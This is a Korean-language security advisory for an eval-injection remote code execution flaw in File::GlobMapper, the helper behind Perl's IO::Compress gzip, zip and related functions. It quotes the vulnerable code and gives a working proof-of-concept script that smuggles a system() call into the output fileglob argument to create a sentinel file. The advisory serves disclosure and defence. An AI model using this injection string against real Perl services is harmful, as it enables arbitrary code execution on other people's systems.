
CVE-2026-48962 - IO::Compress - 코드 실행
File::GlobMapper::_getFiles()의 eval 주입 취약점으로 인해, IO::Compress::Gzip::gzip(), IO::Compress::Zip::zip() 또는 그 자매 함수에 전달되는 출력 fileglob 인자를 제어할 수 있는 모든 공격자는 실행 중인 프로세스의 컨텍스트에서 임의의 Perl 코드를 실행할 수 있습니다.
인증은 필요하지 않습니다. 영향은 완전합니다. 호스트 프로세스의 기밀성, 무결성 및 가용성이 모두 완전히 손상됩니다.
File::GlobMapper::_parseOutputGlob()은 호출자가 제공한 출력 패턴을 Perl 큰따옴표로 감싼 뒤 그 결과를 저장하여 출력 파일명 템플릿을 생성합니다. 그런 다음 _getFiles()는 해당 문자열을 어떠한 검증(sanitisation)도 없이 eval에 직접 전달합니다:
lib/File/GlobMapper.pm:316–321
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
lib/File/GlobMapper.pm:342
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
File::GlobMapper는 IO::Compress::* / IO::Uncompress::* 함수의 입력 및 출력 인자가 모두 fileglob 문자열(< >로 구분)일 때마다 자동으로 호출됩니다. 이는 문서화된 일반적인 호출 규약입니다. 영향을 받는 함수에는 gzip, zip, bzip2, deflate, rawdeflate 및 모든 IO::Uncompress::* 대응 함수가 포함됩니다.
주변의 큰따옴표로 묶인 Perl 문자열을 닫는 모든 문자 — 리터럴 ", 백틱, ${...} 또는 @{...} — 뒤에 오는 임의의 Perl 코드는 그대로 실행됩니다.
poc.pl로 저장하고 perl poc.pl로 실행하십시오:
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# Create a legitimate input file that the input glob will match
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
예상 출력:
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_<pid>
IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04에서 확인됨.
이는 원격 코드 실행 취약점입니다. 사용자 입력을 받아 이를 출력 fileglob 인자로 모든 IO::Compress::* 함수에 전달하는 모든 웹 애플리케이션, API 서비스, CLI 도구 또는 배치 처리 파이프라인이 취약합니다. 주입된 코드는 호출 프로세스의 전체 권한으로 실행됩니다.
영향을 받는 대상: fileglob 호출 규약과 함께 IO::Compress::* 함수를 사용하고 출력 패턴이 신뢰할 수 없는 입력(예: 웹 양식의 파일명 템플릿, REST API 매개변수, CLI 인자 또는 권한이 없는 사용자가 제어하는 구성 파일)에서 파생되는 Perl 애플리케이션의 개발자 및 운영자.
setuid 또는 권한 있는 데몬 컨텍스트에서는 상승된 권한 수준에서 코드 실행이 가능합니다. 이 버그는 File::GlobMapper의 최초 출시(≈ 2005)부터 존재해 왔으며, perl 패키지를 제공하는 모든 Linux 배포판에 존재합니다.